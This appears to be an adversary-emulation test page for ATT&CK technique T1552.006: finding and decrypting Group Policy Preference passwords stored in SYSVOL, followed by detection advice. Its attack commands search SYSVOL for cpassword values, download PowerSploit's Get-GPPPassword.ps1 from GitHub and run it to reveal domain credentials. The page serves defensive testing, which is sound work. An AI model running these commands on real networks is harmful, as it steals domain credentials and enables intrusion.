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T1552.006 - Group Policy Preferences

T1552.006 - Group Policy Preferences#

Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)

These group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)

The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:

  • Metasploit’s post exploitation module: post/windows/gather/credentials/gpp

  • Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)

  • gpprefdecrypt.py

On the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: dir /s * .xml

Atomic Tests#

Atomic Test #1 - GPP Passwords (findstr)#

Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt on Kali Linux.

Supported Platforms: windows

Dependencies: Run with powershell!#

Description: Computer must be domain joined#
Check Prereq Commands:#
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}
Get Prereq Commands:#
Write-Host Joining this computer to a domain must be done manually


Invoke-AtomicTest T1552.006 -TestNumbers 1 -GetPreReqs

Attack Commands: Run with command_prompt#

findstr /S cpassword %logonserver%\sysvol\*.xml

Invoke-AtomicTest T1552.006 -TestNumbers 1

Atomic Test #2 - GPP Passwords (Get-GPPPassword)#

Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This test is intended to be run from a domain joined workstation, not on the Domain Controller itself. The Get-GPPPasswords.ps1 executed during this test can be obtained using the get-prereq_commands.

Successful test execution will either display the credentials found in the GPP files or indicate “No preference files found”.

Supported Platforms: windows

Dependencies: Run with powershell!#

Description: Get-GPPPassword PowerShell Script must exist at #{gpp_script_path}#
Check Prereq Commands:#
if(Test-Path "PathToAtomicsFolder\..\ExternalPayloads\Get-GPPPassword.ps1") {exit 0 } else {exit 1 }
Get Prereq Commands:#
New-Item -ItemType Directory (Split-Path "PathToAtomicsFolder\..\ExternalPayloads\Get-GPPPassword.ps1") -Force | Out-Null
Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/87630cac639f29c2adcb163f661f02890adf4bdd/Exfiltration/Get-GPPPassword.ps1 -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Get-GPPPassword.ps1"
Description: Computer must be domain joined#
Check Prereq Commands:#
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}
Get Prereq Commands:#
Write-Host Joining this computer to a domain must be done manually

Invoke-AtomicTest T1552.006 -TestNumbers 2 -GetPreReqs

Attack Commands: Run with powershell#

. "PathToAtomicsFolder\..\ExternalPayloads\Get-GPPPassword.ps1"
Get-GPPPassword -Verbose

Invoke-AtomicTest T1552.006 -TestNumbers 2

Detection#

Monitor for attempts to access SYSVOL that involve searching for XML files.

Deploy a new XML file with permissions set to Everyone:Deny and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords in SYSVOL)

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